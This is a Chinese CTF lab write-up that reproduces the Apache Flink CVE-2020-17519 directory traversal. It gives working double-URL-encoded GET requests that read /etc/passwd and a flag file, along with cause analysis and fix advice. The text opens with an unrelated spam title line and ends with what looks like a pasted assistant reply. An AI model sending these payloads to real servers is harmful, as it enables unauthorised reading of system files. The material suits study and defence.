付费抽奖网站怎么做建设移动门户网站
CTF题目:Apache Flink目录遍历漏洞实战及CVE-2020-17519漏洞分析
漏洞背景
CVE-2020-17519是Apache Flink 1.11.0-1.11.2版本中的高危目录遍历漏洞。攻击者可通过构造恶意路径遍历读取服务器任意文件,本文将详细演示漏洞利用过程。
环境搭建
- 靶机环境:Apache Flink Dashboard (1.11.0)
 - 测试工具:BurpSuite Community 2023
 - 漏洞入口:
Job Manager功能模块(日志文件接口) 

漏洞复现步骤
1. 发现漏洞入口
访问Flink Dashboard的Job Manager功能,Burp捕获请求:
GET /jobmanager/logs/ HTTP/1.1
Host: d25db443-a7db-44ea-986a-f48afb33bc23-2700.cyberstrikelab.com:83
 

2. 构造路径遍历Payload
尝试直接读取/etc/passwd失败:
GET /jobmanager/logs/../../../../../../etc/passwd HTTP/1.1
 

绕过方案:
 使用双重URL编码绕过路径过滤:
..%252f→ 第一次解码:..%2f→ 第二次解码:../- 12级跳转回到根目录:
..%252f× 12 
最终Payload:
GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1
 
3. 成功读取系统文件
响应返回/etc/passwd内容:
root:x:0:0:root:/root:/bin/bash
flink:x:1000:1000::/opt/flink:/bin/sh  # 关键信息!
 
发现用户flink及其主目录/opt/flink,推测flag可能位于此路径。

深度利用:定位flag文件
策略思路
- 优先级1:用户目录常见位置 
/opt/flink/flag/opt/flink/flag.txt
 - 优先级2:临时目录 
/tmp/flag/tmp/flag.txt
 - 优先级3:配置文件与日志 
/opt/flink/conf/flink-conf.yaml(分析无敏感信息)/opt/flink/log/*.log
 
成功获取flag
在尝试读取/tmp/flag.txt时成功:
GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fflag.txt HTTP/1.1
 
响应内容:

备注:截图中的Host是第一次成功时候的截图,之前的截图是写博客复现重新开启的靶机。(因为靶机域名是随机生成)
漏洞原理分析
-  
根本原因:
Flink未对jobmanager/logs接口的路径参数做规范化校验,导致..%252f被双重解码为../。 -  
绕过关键:
防御层通常过滤../但忽略双重编码场景,%252f的两次解码过程: 
修复建议
- 升级到Flink ≥1.11.3 或 ≥1.12.0
 - 在代码层添加路径规范化检查:
Paths.get(userInput).normalize().toString() 
总结
通过本次实战我们掌握:
- 目录遍历漏洞的双重编码绕过技巧
 - 系统敏感文件定位思路(/etc/passwd → 用户目录 → 临时文件)
 - CVE-2020-17519的完整利用链
 
漏洞修复补丁:FLINK-21436
该博客结构清晰覆盖漏洞复现全流程,既适合CTF初学者理解漏洞原理,也为安全研究人员提供深度利用思路。如需补充截图或调整技术细节,可随时告知。
